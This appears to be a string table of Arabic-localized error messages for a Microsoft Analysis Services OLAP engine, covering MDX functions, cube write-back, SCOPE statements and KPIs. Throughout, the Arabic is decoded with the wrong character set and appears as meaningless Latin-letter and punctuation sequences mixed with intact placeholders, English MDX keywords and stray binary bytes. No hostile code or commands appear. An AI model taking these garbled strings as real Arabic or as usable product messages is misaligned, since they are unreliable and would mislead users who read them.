9EDJ) 'DC*'() 'D.DAJ) DD.DJ) 9DI 41J-) :J1 E(37) AJ (O9/ E,EH9) EBJ'3 'DE1,9 '%{measuregroupdimension/}' AJ E,EH9) 'DEBJ'3 '%{measuregroup/}'. 9DEK' (#FG D' J3E- (9EDJ'* 'DC*'() 'D.DAJ) DD.D'J' DD#(9'/ 'DE1,9J).�*4*ED 9EDJ) 'DC*'() 'D.DAJ) DD.DJ) 9DI 41J-) :J1 E(37) AJ (O9/ E,EH9) EBJ'3 ,E9 'D(J'F'* '%{measuregroupdimension/}' AJ E,EH9) 'DEBJ'3 '%{measuregroup/}'. 9DEK' (#FG D' J3E- (9EDJ'* 'DC*'() 'D.DAJ) DD.D'J' D#(9'/ ,E9 'D(J'F'*.�*4*ED 9EDJ) 'DC*'() 'D.DAJ) DD.DJ) 9DI 41J-) :J1 E(37) AJ 'D(O9/ '%{cubedimension/}' :J1 EB*1F) (E,EH9) 'DEBJ'3 '%{measuregroup/}'. 9DEK' (#FG D' J3E- (9EDJ'* 'DC*'() 'D.DAJ) DD.D'J' DD#(9'/ :J1 'DEB*1F) (E,EH9) 'DEBJ'3.zD' JECF *FAJ0 9EDJ) 'DC*'() 'D.DAJ) DD.D'J' D#F E,EH9) 'DEBJ'3 '%{measuregroup/}' D' *4*ED 9DI B3E *E *ECJF 'DC*'() 9DJG.�D' JECF *FAJ0 9EDJ) 'DC*'() 'D.DAJ) DD.D'J' 'DE('41) D#F E,EH9) 'DEBJ'3 '%{measuregroup/}' D' *4*ED 9DI B3E *E *ECJF 'DC*'() 9DJG.AD' JECF D9EDJ) 'DC*'() 'D.DAJ) DD.D'J' *-/J+ .DJ) %DI BJE) A'1:).5A4D* 'DC*'() 'D.DAJ) DD.D'J' DH,H/ .DJ) H'-/) E$EQF).r*4*ED 9EDJ) 'DC*'() 'D.DAJ) DD.D'J' 9DI EBJ'3 DJ3 (E,EH9 ('D'3E '%{measure/}' C'D%-/'+J 'D-'DJ H0DC :J1 E3EH- (G.YD' JECF %,1'! 9EDJ) 'DC*'() 'D.DAJ) DD.D'J' 9DI G0G 'D.DJ) (ordinal = '%{CellOrdinal/}').R*4*ED 9EDJ) 'DC*'() 'D.DAJ) DD.D'J' 9DI 96H E-3H( C%-/'+J -'DJ H0DC :J1 E3EH- (G.�A4D* 9EDJ) 'DC*'() 'D.DAJ) DD.D'J' D#F 'D*.2JF 'D'1*('7J 'D#3'3J J4*ED 9DI ,/HD J.*DA 9// #9E/*G 9F 9// 'D#9E/) 'DE*HB9 A9DJK' EE' J9FJ #F GF'C *DAK' AJ 'D(J'F'*.L**901 'DC*'() 'D.DAJ) DD.D'J' D#F 'D.DJ) 'DE-//) :J1 EH,H/) AJ E3'-) 'DEC9(.�*4*ED 9EDJ) 'DC*'() 'D.DAJ) DD.D'J' 9DI 41J-) H*9(J1 EBJ'3 :J1 E(37JF AJ E,EH9) 'DEBJ'3 '%{measuregroup/}'. 9DEK' (#FG D' J3E- (9EDJ'* 'DC*'() 'D.DAJ) DD.D'J' 'D.'5) (*9(J1'* 'DEBJ'3 DD41'&- :J1 'DE(37).[*4*ED 9EDJ) 'DC*'() 'D.DAJ) DD.D'J' 9DI *.5J5 E1,- %DI 0 #H .DJ) A'1:) HGH #E1 D' J3E- (G.C*E %JB'A 9EDJ) 'DC*'() 'D.DAJ) DD.D'J' D#FG B/ *E -0A F7'B'* 'DEC9(P**901 'DC*'() 'D.DAJ) 9DI .DJ) :J1 71AJ) D' *4*ED 9DI .D'J' 0'* E3*HI 71AJ *'(9.ED' JECF D9EDJ) 'DC*'() 'D.DAJ) DD.D'J' *-/J+ .DJ) %DI BJE) (D' FG'J).PAJ*901 -D '3E 'D*1*J(.aJ*901 'D9+H1 9DI %/'1) 13'D) DD:) 'D'A*1'6J). 3J*E *:JJ1 'DD:) %DI 'D%FCDJ2J) - 'DHD'J'* 'DE*-/).-J-*HJ XML D*91JA 'D13'D) 9DI 9B/) :J1 E9*E/).J*901 *-EJD 3D3D) 'DEH1/.CJ*901 %F4'! 'D13'D) DD*9DJE) 'D(1E,J) DD.7# 'D*'DJ: %{result_code/}PA9J*901 'D9+H1 9DI %/'1) 'D13'D) DD:) 'DE-DJ) %{language/}.cBJE) 'D*9DJEJ) 'D(1E,J) '%{CodeType/}' DDEF4#) '%{FacilityName/}' AJ XML D*91JA 'D13'D) :J1 E9*E/).GBJE) FH9 .7# '%{NodeName/}' %{NodeType/} AJ *91JA 13'D) XML :J1 E9*E/).PA	 ('DBJE)) ('DG/A)	 ('D-'D))
 ('D'*,'G) ('DH2F)>B'(D C4A CACHE EC9(K' A19JK' (G *-(J('* E*9//) D3E) EF 'D3E'*.7J8G1 'D*3D3D 'DGJCDJ %{dim/} ('DA9D AJ 'DE-H1 %{axis/}.AJ*901 %F4'! 'D96H 'DE-3H( '%{name/}' DH,H/ 96H (FA3 'D'3E ('DA9D.[J*901 %F4'! 'D96H 'DE-3H( %{name/} D#F #5DG JH,/ AJ #/FI E3*HI AJ 'D*3D3D 'DGJCDJ %{hier/}.%DE J*E 'D9+H1 9DI 3E) 'D(9/ %{name/}.!'DEC9( %{strCubeName/} :J1 EH,H/.ID' JECF '3*./'E 'D/'D'* 'D*,EJ9J) 9DI 'D#96'! 'DE-3H(JF AJ (O9/ 'DEB'JJ3.FDE J*E 'D9+H1 9DI '%{name/}' AJ 'DEC9( 9F/E' *E *H2J9 'D3D3D) %{str/}.VDE J*E 'D9+H1 9DI 'D*3D3D 'DGJCDJ '%{name/}' AJ 'DEC9( 9F/E' *E *H2J9 'D3D3D) %{str/}.IDE J*E 'D9+H1 9DI C'&F 'DE3*HI '%{name/}' 9F/E' *E *H2J9 'D3D3D) %{str/}.LDE J*E 'D9+H1 9DI 'D96H '%{name/}' AJ 'DEC9( 9F/E' *E *H2J9 'D3D3D) %{str/}.N*E 'C*4'A %9'/) E-/H/). -DB) 'D*(9J'* GJ: %1[%{strName/}%]%[ -> %{strName/}%].7J*E *BJJE 'D*9(J1 'D1BEJ %DI E3'A) :J1 B'(D) DD'3*./'E.---.=J*901 *-HJD H3J7) %d{arg/} 'D*J AJ 'D/'D) %{func/} %DI 3D3D).8J*901 9DI 'D/'D) %{func/} B(HD 96H .'DM CH3J7) %d{arg/}.w%F #HD H3J7) AJ 'D/'D) 'Rank' *9(J1 E,EH9) BJE JF(:J #F *4J1 %DI FA3 'D*3D3D'* 'DGJCDJ) C'DH3J7) 'D+'FJ) *9(J1 E9JF.qJH,/ DDE,EH9'* 'DE9JF) AJ 'D/'D) %{func/} *3D3D'* GJCDJ) :J1 E*H'AB) 9F/ 'DEH69 %{iHier/}. 'DE,EH9'* :J1 E*H'AB).2D' *-*HJ 'DE,EH9) 9DI *3D3D GJCDJ ('DE3*HI 'DE9JF.b*E *E1J1 9// C(J1 ,/K' EF 'DH3J7'* %DI 'D/'D) %{func/}. #B5I 9// EF 'DH3J7'* DD/'D) GH %ld{cMax/}.`*E *E1J1 9// BDJD ,/K' EF 'DH3'&7 %DI 'D/'D) %{func/}. #/FI 9// EF 'DH3'&7 DD/'D) GH %ld{cMin/}.ODE J*E *E1J1 H3'&7 %DI 'D/'D) %{func/} H'D*J **7D( %ld{cMin/} H3J7) 9DI 'D#BD.7C'F JO*HB9 *9(J1 DH3J7) 'D/'D) HDE J*E 'C*4'A #J *9(J1.�J,( #F *CHF 'DH3J7) 'D+'D+) D/'D) 'D*H'(9 H'-/) EE' JDJ: SELF #H BEFORE #H AFTER #H SELF_AND_BEFORE #H SELF_AND_AFTER #H BEFORE_AND_AFTER #H SELF_BEFORE_AFTER #H LEAVES.HJ,( 9DI 'D96H H'DE3*HI AJ /'D) 'D*H'(9 'D'F*E'! %DI FA3 'D*3D3D 'DGJCDJ.9J*901 *-HJD 'D*9(J1 'D0J AJ 'D/'D) %{func/} %DI 9// 5-J-.-J*901 8GH1 9('1) CALCULATE AJ F5 9('1) SCOPE.5'D9// 'D*1*J(J 9DI 'DE3*HI .'1, F7'B 'D/'D) %{func/}.''DE3*HI '%{name/}' :J1 EH,H/ AJ 'DEC9(.JE9'ED'* 9'ED 'DF7'B ( : ) DG' E3*HJ'* E.*DA) HJ,( #F JCHFH' (FA3 'DE3*HI.YE9'ED'* 9'ED 'DF7'B ( : ) DG' *3D3D'* GJCDJ) E.*DA) HJ,( #F JCHFH' (FA3 'D*3D3D 'DGJCDJ.6J*901 '3*./'E 'D96H 'DE-3H( CE9'ED D9'ED 'DF7'B ( : )...$J,( #F *CHF #1B'E 'DE-H1 (JF 0 H127.XJ,( *9JJF #1B'E 'DE-H1 'D*J AJ 'D'3*9D'E *9JJFK' *3D3DJK' HD' JECF #F *-*HJ 9DI A1':'*."D' JECF *C1'1 1BE E-H1 AJ '3*9D'E.BJ8G1 'D*3D3D 'DGJCDJ '%{hier/}' #C+1 EF E1) H'-/) AJ E,EH9) 'DBJE.3D' JECF 8GH1 9('1) CREATE MEMBER AJ F5 9('1) SCOPE.2D' JECF 8GH1 'D9('1) CREATE SET AJ F5 9('1) SCOPE.NJECF *HAJ1 H5A H'-/ AB7. *E *HAJ1 '%{strDesc/}' C,2! EF .DJ) E-3H() HGH E*C11.9*E *HAJ1 .'5J) DISABLED E*C11) C,2! EF *91JA .DJ) E-3H().9*E *HAJ1 .'5J) CONDITION EC11) C,2! EF *91JA .DJ) E-3H().D*E *HAJ1 .'5J) 1BE *E1J1 %{strPass/} EC11 C,2! EF *91JA .DJ) E-3H().E*E *HAJ1 .'5J) 9EB *E1J1 %{strPass/} EC11) C,2! EF *91JA .DJ) E-3H().dJ-*HJ 'D(O9/ '%{strDim/}' #C+1 EF *3D3D GJCDJ H'-/ H('D*'DJ J,( #F J*E *9JJF 'D*3D3D 'DGJCDJ (H6H-.J**HB9 'D/'D) %{func/} *9(J1 E3*HI DDH3J7) %d{arg/}. *E '3*./'E *9(J1 (O9/.Q**HB9 'D/'D) %{func/} *9(J1 E3*HI DDH3J7) %d{arg/}. *E '3*./'E *9(J1 *3D3D GJCDJ.I**HB9 'D/'D) %{func/} *9(J1 E3*HI DDH3J7) %d{arg/}. *E '3*./'E *9(J1 96H.P**HB9 'D/'D) %{func/} *9(J1 E3*HI DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E,EH9) BJE.Y**HB9 'D/'D) %{func/} *9(J1 E3*HI DDH3J7) %d{arg/}. *E '3*./'E *9(J1 3D3D) #H *9(J1 1BEJ.b**HB9 'D/'D) %{func/} *9(J1 E3*HI DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E,EH9) *-HJ E,EH9) BJE A19J).J**HB9 'D/'D) %{func/} *9(J1 (O9/ DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E3*HI.P**HB9 'D/'D) %{func/} *9(J1 (O9/ DDH3J7) %d{arg/}. *E '3*./'E *9(J1 *3D3D GJCDJ.H**HB9 'D/'D) %{func/} *9(J1 (O9/ DDH3J7) %d{arg/}. *E '3*./'E *9(J1 96H.O**HB9 'D/'D) %{func/} *9(J1 (O9/ DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E,EH9) BJE.PAX**HB9 'D/'D) %{func/} *9(J1 (O9/ DDH3J7) %d{arg/}. *E '3*./'E *9(J1 3D3D) #H *9(J1 1BEJ.a**HB9 'D/'D) %{func/} *9(J1 (O9/ DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E,EH9) *-HJ E,EH9) BJE A19J).O**HB9 'D/'D) %{func/} *9(J1K' GJCDJK' DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E3*HI.M**HB9 'D/'D) %{func/} *9(J1K' GJCDJK' DDH3J7) %d{arg/}. *E '3*./'E *9(J1 96H.T**HB9 'D/'D) %{func/} *9(J1K' GJCDJK' DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E,EH9) BJE.N**HB9 'D/'D) %{func/} *9(J1K' GJCDJK' DDH3J7) %d{arg/}. *E '3*./'E *9(J1 1BEJ.f**HB9 'D/'D) %{func/} *9(J1K' GJCDJK' DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E,EH9) *-HJ E,EH9) BJE A19J).I**HB9 'D/'D) %{func/} *9(J1 96H DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E3*HI.N**HB9 'D/'D) %{func/} *9(J1 96H DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E,EH9) BJE.W**HB9 'D/'D) %{func/} *9(J1 96H DDH3J7) %d{arg/}. *E '3*./'E *9(J1 3D3D) #H *9(J1 1BEJ.`**HB9 'D/'D) %{func/} *9(J1 96H DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E,EH9) *-HJ E,EH9) BJE A19J).L**HB9 'D/'D) %{func/} *9(J1 E,EH9) DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E3*HI.^**HB9 'D/'D) %{func/} *9(J1 E,EH9) BJE DDH3J7) %d{arg/}. *E '3*./'E *9(J1 3D3D) #H *9(J1 1BEJ.c**HB9 'D/'D) %{func/} *9(J1 E,EH9) DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E,EH9) *-HJ E,EH9) BJE A19J).]**HB9 'D/'D) %{func/} *9(J1 3D3D) #H *9(J1K' 1BEJK' DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E3*HI.t**HB9 'D/'D) %{func/} *9(J1 3D3D) #H *9(J1K' 1BEJK' DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E,EH9) *-HJ E,EH9) BJE A19J).PA^**HB9 'D/'D) %{func/} *9(J1 E,EH9) *-HJ E,EH9) A19J) DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E3*HI.^**HB9 'D/'D) %{func/} *9(J1 E,EH9) BJE DDH3J7) %d{arg/}. *E '3*./'E *9(J1 3D3D) #H *9(J1 1BEJ.:JH,/ */AB 2'&/ AJ BJE) 9EB *E1J1 'D9EDJ) 'D-3'(J) #H 1BEG.C*E *-/J/ *9(J1 EC11) DD.'5J) %{strPropName/} AJ *91JA 9EDJ) -3'(J).6*E *-/J/ BJE) SOLVE_ORDER EC11) AJ *91JA 9EDJ) -3'(J).EJ*E '3*./'E 'D*3D3D 'DGJCDJ %{hier/} #C+1 EF E1) AJ 'D/'D) Crossjoin.yJH,/ 96H AJ 3E) '%{attr/}' DG BJE) E9'ED '%{uop/}' #-'/J) . :J1 E3EH- %D' (BJE 'DE9'ED 'D#-'/J 'D*'DJ): +, -, *, /, or ~.'D/'D) '%{name/}' :J1 EH,H/).WA4D *-EJD *,EJ9 %{name/} H#8G1 'D.7# 'D*'DJ: %1[%{exception/}%]%[;%{exceptioninner/}%].�A4D* B'&E) *9/'/ 'D#FH'9 #H 'D/'D'* AJ 'D*9DJE) 'D(1E,J) 'DE/'1) H#8G1* 'D.7# 'D*'DJ: %1[%{exception/}%]%[;%{exceptioninner/}%].iA4D *FAJ0 'D%,1'! 'DEO.2QF 'DE/'1 %{sproc/} H#8G1 'D.7# 'D*'DJ: %1[%{exception/}%]%[%{exceptioninner/}%].*E 1A6 H5HD 'DB1'!) %DI 'D.DJ).*E 1A6 H5HD 'DC*'() %DI 'D.DJ).^J,( #F *3*./E 'D#96'! #H E,EH9'* 'DBJE #H 'DE,EH9'* FA3 'D*3D3D'* 'DGJCDJ) AJ 'D/'D) %{func/}.x**HB9 'D/'D) %{func/} E,EH9) EF 'D#96'! DDH3J7) %d{arg/}. *E *E1J1 E,EH9) *-HJ E,EH9'* BJE 0'* #C+1 EF *3D3D GJCDJ H'-/.S'+F'F EF 'DE,EH9'* 'DA19J) 'DD*JF *E *9JJFGE' AJ 'D/'D) %{func/} DGE' #(9'/ E.*DA).zJ*901 'D9+H1 9DI 'D*3D3D 'DGJCDJ DD'F*B'D 'D*A5JDJ  %{strHierName/} AJ E,EH9) 'DE,EH9'* 'DA19J) 'DE9JF) DD'F*B'D 'D*A5JDJ.YJ*901 'D9+H1 9DI 'D*3D3D 'DGJCDJ DD'F*B'D 'D*A5JDJ %{strHierName/} AJ 'DE,EH9) 'D*A5JDJ).�D' */9E /'D) DrillDownMember 'D'F*B'D 'D*A5JDJ 'DE*/'.D 9F/E' JCHF 'D*3D3D 'DGJCDJ DDE,EH9) 'D+'FJ) E.*DAK' 9F 'DE9DE) 'DGJCDJ).WC'F JO*HB9 9('1) 5'D-) DCF *E *-/J/ *9(J1 #H E,EH9) EF .5'&5 *1',9 E.55) (/D'K EF G0'.DC'F JO*HB9 .J'1 ALL DDH3J7) 'D+'D+) D/'D) Intersect. *E *E1J1 *9(J1.0C'F JO*HB9 *9(J1 MDX (JFE' *E *9JJF 9('1) C'ED).Z(4CD 'A*1'6J C'F JO*HB9 (O9/ EF 'DFH9 'D2EFJ. DE J*E 'D9+H1 9DI E+D G0' 'D(O9/ AJ 'DEC9(.JJ,( #F JF*EJ 'D96H H'DE3*HI AJ /'D) *-HJD 'D*'1J. %DI FA3 'D*3D3D 'DGJCDJ.2J*901 *7(JB /'D) MDX D#F H3J7) #1,9* 96HK' .'DJK'.P(4CD 'A*1'6J C'F JO*HB9 E3*HI 4G1. DE J*E 'D9+H1 9DI E+D G0' 'DE3*HI AJ 'DEC9(.T(4CD 'A*1'6J C'F JO*HB9 E3*HI 1(9 3F). DE J*E 'D9+H1 9DI E+D G0' 'DE3*HI AJ 'DEC9(.R(4CD 'A*1'6J C'F JO*HB9 E3*HI #3(H9. DE J*E 'D9+H1 9DI E+D G0' 'DE3*HI AJ 'DEC9(.P(4CD 'A*1'6J C'F JO*HB9 E3*HI 3F). DE J*E 'D9+H1 9DI E+D G0' 'DE3*HI AJ 'DEC9(.PAJJ,( *9JJF 'DH3J7) 'D+'FJ) 'D*J *E *E1J1G' %DI 'D/'D) Hierarchize %DI POST.`J,( *9JJF 'DH3J7) 'D+'D+) 'D*J *E *E1J1G' %DI 'D/'D) Order %E' 9DI ASC #H BASC #H DESC #H BDESC.'J*901 E9'D,) 3D3D) F5J) A'1:) C'3*9D'E.SD' *9ED 'D/'D'* AVG HSUM HMIN HMAX %0' *E *E1J1 *9(J1 CH3J7) J*E *BJJEG' %DI 3D3D).DE J*E *9JJF 9// *1*J(J DE-H1.MDE J*E 'D9+H1 9DI /'D) *-EJD 2'&/ ED'&E) DD%,1'! 'DE.2QF. 'DE9DE'* :J1 5-J-).K**HB9 /'D) Dimension (O9/K' #H *3D3D' GJCDJK' #H E3*HI #H *9(J1 96H CH3J7).A**HB9 /'D) Hierarchy *3D3D' GJCDJK' #H E3*HI #H *9(J1 96H CH3J7).RJ,( *91JA 'D96H 'D'A*1'6J 9DI 'D*3D3D 'DGJCDJ (JFE' '%{str/}' DJ3 *3D3D'K GJCDJK'(J*901 'D%1,'9 %DI EB3E 71JB) 916 'DE-H1.*J*901 'D%1,'9 DDE-H1 %{num/} AJ 'D'3*9D'E.1'D9// 'D*1*J(J 'DGJCDJ .'1, F7'B 'D/'D) %{func/}.**E 'D%1,'9 %DI %{name/} B(D #F J*E *BJJEG.@*E *91JA 'D96H 'D'A*1'6J DDE3*HI 'D#/FI DCF DJ3 DDE3*HI 'D#9DI.VJ,( #F JCHF 'D96H 'D'A*1'6J 'DE9JF '%{membername/}' EF 'D*3D3D 'DGJCDJ '%{hiername/}'.>D' JECF '3*./'E 'D96H 'DE-3H( %{name/} C#5D #H C96H E-3H( ".1./F7'B 'D.DJ) 'D0J *E *HAJ1G .'1, 'DF7'B 'DEB(HD.GC'F JO*HB9 E,EH9) EF .5'&5 'D96H 'DE.55). *E *9JJF *9(J1 MDX #H 9('1*G.5DE J*E *9JJF EC9(. J,( *9JJF EC9( DG0' 'D#E1 CJ J9ED.0D' *7'(B 9('1) END SCOPE 9('1) SCOPE 'D'A**'-J).A(F'! ,ED) 'D'3*9D'E :J1 5'D-. C'F JO*HB9 '3*9D'E MDX #H DAX 5'D-.$D' JECF '3*./'E 9('1) THIS AJ *9(J1._%F H3J7) Set_Count DD/'D) NonEmptyCrossJoin %E' 3'D() #H #C(1 EF 9// 'DE,EH9'* 'D*J *E *HAJ1G'.TJ,( 9DI 'DH3J7) 'D+'D+) 'D*J *E *E1J1G' %DI /'D) ToggleDrillState #F *CHF RECURSIVE.V**HB9 /'D) Item %E' E,EH9) A19J) #H 5AJAK' EF 'D#96'! CE9DE). D' JECF #F *CHF 'D'+FJF.\**HB9 'D/'D) Item 5AJAK' EF 'D#96'! CE9DE) *7'(B #(9'/ 'DC'&F 'D0J 3J*E '3*/9'! 'D/'D) 9DJG.�J-*HJ 'DEC9( 9DI EBJ'3 4(G %6'AJ '%{name/}'. J-*HJ (O9/ 'D2EF AJ E,EH9) 'DBJ'3 0'* 'D5D) 9DI #C+1 EF 3E) H'-/) (JFE' D' J,1J /9E %D' H'-/) AB7.J**HB9 'D/'D) %{func/} *9(J1 5AJA DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E3*HI.J**HB9 'D/'D) %{func/} *9(J1 5AJA DDH3J7) %d{arg/}. *E '3*./'E *9(J1 GJCDJ.H**HB9 'D/'D) %{func/} *9(J1 5AJA DDH3J7) %d{arg/}. *E '3*./'E *9(J1 96H.Q**HB9 'D/'D) %{func/} *9(J1 5AJA DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E,EH9) A19J).K**HB9 'D/'D) %{func/} *9J(1 5AJA DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E,EH9).X**HB9 'D/'D) %{func/} *9(J1 5AJA DDH3J7) %d{arg/}. *E '3*./'E *9(J1 3D3D) #H *9(J1 1BEJ.I**HB9 'D/'D) %{func/} *9(J1 5AJA DDH3J7) %d{arg/}. *E '3*./'E *9(J1 (O9/.I**HB9 'D/'D) %{func/} *9(J1 (O9/ DDH3J7) %d{arg/}. *E '3*./'E *9(J1 5AJA.J**HB9 'D/'D) %{func/} *9(J1 GJCDJ DDH3J7) %d{arg/}. *E '3*./'E *9(J1 5AJA.\**HB9 'D/'D) %{func/} *9(J1 3D3D) #H *9(J1K' 1BEJK' DDH3J7) %d{arg/}. *E '3*./'E *9(J1 5AJA.K**HB9 'D/'D) %{func/} *9(J1 E,EH9) DDH3J7) %d{arg/}. *E '3*./'E *9(J1 5AJA.Q**HB9 'D/'D) %{func/} *9(J1 E,EH9) A19J) DDH3J7) %d{arg/}. *E '3*./'E *9(J1 5AJA.H**HB9 'D/'D) %{func/} *9(J1 96H DDH3J7) %d{arg/}. *E '3*./'E *9(J1 5AJA.J**HB9 'D/'D) %{func/} *9(J1 E3*HI DDH3J7) %d{arg/}. *E '3*./'E *9(J1 5AJA.)J,( #F *CHF CD 9F'51 'D5AJA EF FA3 'DFH9.G*9J/ 'D/'D) '%{func/}' 'DE91QA) EF BP(D 'DE3*./E 5AJAK' HGH :J1 E/9HE.CD' J7'(B 9// 'DE9DE'* 'DE-//) #J *-EJD 2'&/ E*'- DD/'D) '%{func/}'.bD' JECF *-EJD 'D*,EJ9'* 'DE/'1). DE J*E *-EJD 'DEC*() msmgdsrv.dll #H -/+* -'D) 9/E *7'(B 'D%5/'1.+'D*9(J1 A'1:. 'D1,'! *HAJ1 *9(J1 -3'( 5'D-.PAF'3E '%{dimname/}' 'DE-// AJ 9('1) CALCULATE USING DJ3 '3E (O9/ 5'D-K'.I*E *-/J/ 'D(O9/ '%{dimname/}' #C+1 EF E1) H'-/) AJ 9('1) CALCULATE USING.FDE *9/ ,D3) 'D9ED 'D-'DJ) 5'D-) (3(( *:JJ1'* GJCDJ) AJ B'9/) 'D(J'F'*.1D' JECF #F JCHF 1BE *E1J1 'D9EDJ) 'D-3'(J) 5A1K'.$9EB *E1J1 'D9EDJ) 'D-3'(J) :J1 5'D-.g3D3D) '%{template/}' DJ3* *9(J1K' 5'D-K' DH3J7) 'DFE7 'D.'5) (/'D) VisualTotals. '3*./E -1A 'DF,E) (*).)D' JECF *-HJD 'DFH9 %{type/} %DI FH9 MDX.2D' JECF '3*./'E E,EH9) A19J) .'DJ) AJ 9('1) WHERE.cJ-*HJ 'D*9(J1 9DI /'D) D' JECF DG' #F *9ED 9DI E,EH9) *-*HJ 9DI #C+1 EF 4,294,967,296 E,EH9) A19J).$J-*HJ 'D(1F'E, 'DF5J D@ MDX 9DI .7#.+J-*HJ *91JA E,EH9) %{name/} 9DI E1,9 /'&1J.TC'F* BJE) 'DH3J7) 'D*J *E *E1J1G' D@ Count 3'D(). 'DBJE 'D3'D() :J1 E9*E/) D@ Count.SD' JECF '3*/9'! 'D/'D) CURRENT AJ G0' 'D3J'B D#F E,EH9) '%{name/}' DJ3* 6EF 'DF7'B.2JECF '3*/9'! 'D/'D) %{func/} AB7 9DI E,EH9) E3E').%J,( #F *CHF .'5J) SOLVE_ORDER +'(*K'.!J,( #F *CHF .'5J) VISIBLE +'(*K'.PA"J,( #F *CHF .'5J) DISABLED +'(*K'.MJ,( #F *CHF 'D.'5J*'F CALCULATION_PASS_NUMBER HCALCULATION_PASS_DEPTH +'(*JF.IDE J*E 'D*-BB EF E9'ED) 'D7D(. JBHE 'D.'/E (%FG'! 'D7D( (71JB) :J1 F',-).2D' JECF -D *91JA 'DEC9( 'DA19J %DI EC9( A19J A'1:.�D' JECF *-/J/ 'DE,EH9'* 0'* 'D#96'! EF E3*HJ'* E*9//) D*3D3D GJCDJ DJ3 EF FH9 #5D-*'(9 C,2! EF *91JA EC9( A19J. '3*./'E /'D) Descendants 9H6K' 9F 0DC.�D' JECF *-/J/ 'DE,EH9'* 0'* 'D#96'! EF E3*HI AJ *3D3D GJCDJ :J1 7(J9J C,2! EF *91JA EC9( A19J. '3*./'E /'D) Children #H Descendants #H Members #H AllMembers 9H6K' 9F 0DC.�D' JECF *-/J/ 'DE,EH9'* 0'* 'D*3D3D'* 'DGJCDJ) 'DE*9//) C,2! EF *91JA EC9( A19J. '3*./E 'D/'D) Crossjoin #H E9'ED Crossjoin (*) 9H6K' 9F 0DC..7# AJ 'DE3*./E 'DE-//.%{usernote/}EJ,( #F JCHF ('DE,EH9) *3D3D GJCDJ EA1/ D'3*./'EG E9 'DE9'ED 'D*CEJDJ.MJ,( #F JCHF DDE,EH9) 'DE3*./E) E9 'DE9'ED 'D*CEJDJ CD 'D#96'! EF FA3 'DE3*HI.gJ,( #F *-*HJ '3*9D'E'* MDX 9DI +D'+) E-'H1 9F/E' J*E *9JJF 'D.'5J) BlsContentType 9DI 'SpreadsheetXml'.kD' JECF #F *-*HJ '3*9D'E'* MDX 9DI 9('1) WHERE 9F/E' J*E *9JJF .'5J) 'BlsContentType' 9DI 'SpreadsheetXml'.oD' JECF #F *-*HJ '3*9D'E'* MDX 9DI 9('1) NON EMPTY 9F/E' J*E *9JJF 'D.'5J) BlsContentType 9DI 'SpreadsheetXml'.DA4D 'D'3*91'6 D#F 'D%-/'+J 'DE91QA EF BP(D 9('1) SELECT .'1, 'DF7'B.8A4D 'D'3*91'6 D#F 9('1) SELECT #9'/* #C+1 EF .DJ) H'-/).PADD' JECFC 'D'3*91'6 %0' C'F* 'D.DJ) 'D*J AJ 9('1) select .DJ) E-3H().JD' JECF #/'! 'D'3*91'6 (-'D) 9DI E3*HI %0' DE JCF DDE3*HI *3D3D GJCDJ 3E).3D' JECF '3*/9'! 'D/'D) UnknownMember AJ G0' 'D3J'B.#JH,/ 9/E *7'(B FH9 DD/'D) %{func/}.$JH,/ 9/E *7'(B FH9 DDE9'ED %{func/}.3JH,/ 9/E *7'(B FH9 DDH3J7) 'DJ31I DDE9'ED %{func/}.BJH,/ 9/E *7'(B FH9 DDH3J7) ('D*J 9DI J/C 'DJEFI) DDE9'ED %{func/}.#**HB9 'D/'D) %{func/} *9(J1 E,EH9).7**HB9 'D/'D) %{func/} '3E E$41 #/'! 1&J3J (KPI) CH3J7).`J,( 9DI 'DH3J7) '%{kpi/}' 'D*J *E *E1J1G' %DI 'D/'D) %{func/} #F *CHF '3E E$41 #/'! 1&J3J (KPI).KD' JECF '3*/9'! 'D%,1'!'* 'DE.2F) 0'* #H6'9 'D'F*-'D 'DE.*DA) (96G' EF (96.�DE J*E *9JJF 'D#E'F 'DE3*F/ %DI 'D*9DJE) 'D(1E,J) AJ *9DJE) (1E,J) E/'1) (3(( 'D.7# 'D*'DJ: %1[%{exception/}%]%[;%{exceptioninner/}%].4'D*-6J1 :J1 "EF #+F'! *FAJ0 %,1'! %{sproc/} 'DE.2QF.L'3E EBJ'3 '%{name/}' :J1 5'D-. J,( #F JCHF ('D4CD [cube name].[measure name]O'3E 'D(O9/ '%{name/}' :J1 5'D-. J,( #F JCHF ('D4CD [cube name].[dimension name]"9('1) CREATE GLOBAL CUBE. %{text/}PA':J1 E3EH- (4CD 94H'&J AJ 'D3J'B 'D-'DJ..D' JECF '3*./'E 'DE9'ED '%{op/}' E9 'DE,EH9'*.QD' JECF DE3*HI GROUPING HGH '%{name/}', #F J8G1 #.J1K' AJ *91JA 'D*3D3D 'DGJCDJ.�*E %1,'9 'D/'D) Axis (4CD :J1 E('41 EF 3J'B 9('1) (.D'A SELECT. JF,- *BJJE 'D*9(J1'* 'D*J **6EF G0G 'D/'D) AB7 9F/E' J*E *4:JDG' (4CD :J1 E(41 EF BP(D 9('1) SELECT.x**HB9 'D/'D) %{func/} 96HK' #H E,EH9) *3D3D GJCDJ EA1/ DDH3J7) %d{arg/}. *E *E1J1 E,EH9) EF 'D*3D3D'* 'DGJCDJ) 'DE*9//).kE7DH( #0HF'* E3$HD B'9/) 'D(J'F'* D*FAJ0 #E1 Set Calculations Contingent #H Set Calculations NonContingent.OD' JECF '3*/9'! Set Calculations NonContingent (9/ Set Calculations Contingent.4D' JECF *FAJ0 'D/'D) %{func/} AJ -'D) NonContingent.6J,( #F *CHF 'DH3J7) %{arg/} %DI 'D/'D) %{func/} 9D'E).@*-*HJ 'DH3J7) %d{arg/} %DI 'D/'D) %{func/} 9DI 9D'E) 